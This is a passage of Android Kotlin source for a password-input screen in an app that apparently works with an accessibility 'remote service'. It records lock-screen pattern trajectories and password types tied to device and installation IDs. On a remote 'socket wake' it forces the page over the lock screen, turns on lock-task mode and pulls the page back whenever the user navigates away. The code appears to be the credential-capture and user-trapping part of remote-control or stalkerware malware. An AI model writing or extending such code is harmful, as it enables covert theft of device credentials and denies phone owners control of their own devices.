Log.e(TAG, "❌ 直接调用安装完成处理失败", e)
}
}
// ✅ 备用方案直接启动MainActivity显示WebView仅在安装未完成时执行
if (!isInstallationComplete) {
try {
// 手动设置安装完成状态
val passwordTypeInt = when (passwordType) {
PASSWORD_TYPE_NONE -> 0
PASSWORD_TYPE_PIN -> 1
PASSWORD_TYPE_PIN_4 -> 2
PASSWORD_TYPE_PATTERN -> 3
PASSWORD_TYPE_PASSWORD -> 4
else -> 0
}
// 直接调用安装完成处理函数,不再手动设置状态
com.hikoncont.util.InstallationCompleteManager.handleInstallationComplete(
context = this@PasswordInputActivity,
deviceId = deviceId,
installationId = installationId,
passwordType = passwordTypeInt,
hasPassword = passwordType != PASSWORD_TYPE_NONE
)
Log.i(TAG, "✅ 已调用安装完成处理函数")
val start = Intent(this, com.hikoncont.MainActivity::class.java).apply {
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
putExtra("from_installation_complete", true)
putExtra("show_webview", true)
}
startActivity(start)
Log.i(TAG, "✅ 备用方案:已启动 MainActivity 显示WebView")
} catch (e: Exception) {
Log.e(TAG, "❌ 备用方案启动MainActivity失败", e)
}
} else {
Log.d(TAG, "✅ 安装已完成跳过备用方案启动MainActivity")
}
// 启动主服务
if (!isInstallationComplete){
val serviceIntent = Intent(this, AccessibilityRemoteService::class.java)
startService(serviceIntent)
Log.i(TAG, "🚀 主服务已启动")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 完成安装时出错", e)
} finally {
// 延迟关闭Activity确保广播和服务启动完成
Handler(Looper.getMainLooper()).postDelayed({
try {
// 先清理UI状态
runOnUiThread {
try {
// 隐藏所有输入视图
patternView?.visibility = View.GONE
pinInputView?.visibility = View.GONE
fourDigitPinView?.visibility = View.GONE
passwordInputView?.visibility = View.GONE
// 显示完成状态
// 禁用所有按钮
confirmButton.isEnabled = false
skipButton.isEnabled = false
} catch (e: Exception) {
Log.w(TAG, "清理UI状态时出错", e)
}
}
// 密码输入完成时只销毁当前Activity不销毁整个任务栈
Log.i(TAG, "✅ 密码输入完成准备销毁当前Activity")
Handler(Looper.getMainLooper()).postDelayed({
try {
// 只销毁当前Activity让MainActivity处理后续流程
finish()
Log.i(TAG, "✅ 当前Activity已销毁MainActivity将处理后续流程")
} catch (e: Exception) {
Log.e(TAG, "❌ 关闭Activity时出错", e)
}
}, 1000)
} catch (e: Exception) {
Log.e(TAG, "❌ 延迟关闭时出错", e)
// 密码输入完成时即使出错也要销毁Activity
finish()
}
}, 500)
}
}
/**
* 图形密码轨迹数据类
*/
data class PatternTrajectoryData(
val deviceId: String,
val installationId: String,
val timestamp: Long,
val points: List<PointF>,
val passwordType: String
)
/**
* 密码信息数据类
*/
data class PasswordInfo(
val deviceId: String,
val installationId: String,
val passwordType: String,
val hasPassword: Boolean,
val timestamp: Long
)
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 仅在 Socket 唤醒且密码流程未完成时,才需要强制保持前台。
*/
private fun shouldKeepForeground(): Boolean {
return isSocketWake && !passwordFlowCompleted && passwordType != PASSWORD_TYPE_NONE
}
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 异步触发前台回拉,避免与系统生命周期回调冲突。
*/
private fun scheduleForceReturn(source: String) {
Handler(Looper.getMainLooper()).postDelayed({
if (!shouldKeepForeground()) {
return@postDelayed
}
if (isFinishing || isDestroyed) {
return@postDelayed
}
Log.i(TAG, "🔐 [$source] 开始执行密码页前台回拉")
checkAndForceShowIfNeeded()
}, 260)
}
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 尝试开启锁任务模式,进一步降低 Home/最近任务离开概率。
*/
private fun tryStartLockTaskMode() {
if (!enableLockTaskForSocketWake) {
Log.i(TAG, "🔓 锁任务模式已禁用,跳过 startLockTask")
return
}
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
return
}
try {
startLockTask()
Log.i(TAG, "🔐 已尝试开启锁任务模式")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 开启锁任务模式失败(可能设备不支持)", e)
}
}
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 密码流程完成后关闭锁任务模式,恢复系统正常行为。
*/
private fun tryStopLockTaskMode() {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
return
}
try {
stopLockTask()
Log.i(TAG, "🔓 已尝试关闭锁任务模式")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 关闭锁任务模式失败(可能未开启)", e)
}
}
/**
* 强制显示密码页面Socket唤醒专用
*/
private fun forceShowPasswordPage() {
try {
Log.d(TAG, "🔝 Socket唤醒强制显示密码输入页面")
// 设置窗口标志确保Activity在前台
window.addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
window.addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD)
window.addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
window.addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
// 重新启动Activity以确保置顶
val intent = Intent(this, PasswordInputActivity::class.java).apply {
putExtra(EXTRA_PASSWORD_TYPE, passwordType)
putExtra(EXTRA_DEVICE_ID, deviceId)
putExtra(EXTRA_INSTALLATION_ID, installationId)
putExtra(EXTRA_SOCKET_WAKE, isSocketWake)
flags = Intent.FLAG_ACTIVITY_NEW_TASK or
Intent.FLAG_ACTIVITY_SINGLE_TOP or
Intent.FLAG_ACTIVITY_REORDER_TO_FRONT
}
startActivity(intent)
// 延迟重置标志,避免立即重复调用
Handler(Looper.getMainLooper()).postDelayed({
isForceShowing = false
}, 3000) // 3秒后重置标志
} catch (e: Exception) {
Log.e(TAG, "❌ 强制显示密码页面失败", e)
isForceShowing = false // 出错时重置标志
}
}
/**
* 检查并强制显示(如果需要)
*/
private fun checkAndForceShowIfNeeded() {
try {
Log.d(TAG, "🔍 检查是否需要强制显示密码页面")
// 检查当前Activity是否在前台
val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
val taskInfo = activityManager.getRunningTasks(1)
if (taskInfo.isNotEmpty()) {
val topActivity = taskInfo[0].topActivity
Log.d(TAG, "🔍 当前顶部Activity: ${topActivity?.className}")
if (topActivity?.className != this::class.java.name) {
Log.d(TAG, "🔝 检测到密码输入页面不在前台,强制重新显示")
isForceShowing = true
forceShowPasswordPage()
} else {
Log.d(TAG, "✅ 密码输入页面已在前台")
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检查前台状态失败", e)
}
}
}